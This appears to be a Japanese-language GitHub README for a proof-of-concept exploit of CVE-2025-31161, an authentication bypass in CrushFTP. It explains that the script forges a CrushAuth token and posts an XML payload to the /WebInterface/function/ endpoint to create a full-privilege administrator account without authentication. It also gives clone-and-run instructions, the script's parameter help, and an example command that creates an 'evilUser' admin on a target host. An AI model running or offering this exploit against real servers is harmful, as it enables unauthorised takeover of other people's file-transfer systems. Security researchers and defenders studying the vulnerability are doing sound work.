f4dee-backup/cve-2025-31161PoC CVE-2025-31161 - CrushFTP の認証バイパス
PoC CVE-2025-31161 - CrushFTP 認証バイパス
CrushAuth トークンを偽造し、完全な権限を持つ管理者ユーザーを作成することを可能にします。このエクスプロイトは CrushFTP の重大な脆弱性を標的とし、リモートの認証されていない攻撃者が 認証をバイパス して 任意の管理者ユーザーを作成 することを可能にします。
有効に見える CrushAuth トークンを細工し、/WebInterface/function/ エンドポイントを悪用して完全な形式の XML ペイロードを送信することで機能します。
curlshufgit clone https://github.com/f4dee-backup/CVE-2025-31161
cd CVE-2025-31161
chmod +x CVE-2025-31161.sh
./CVE-2025-31161.sh --help
[?] Parameters description:
--url Target base URL (e.g., http://target)
--port Port where CrushFTP is running
--target-user Valid or invalid username (e.g., crushadmin)
--new-user Username to be created (e.g., Pwn3d)
--new-password Password for the new user
--help Show this help panel
[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345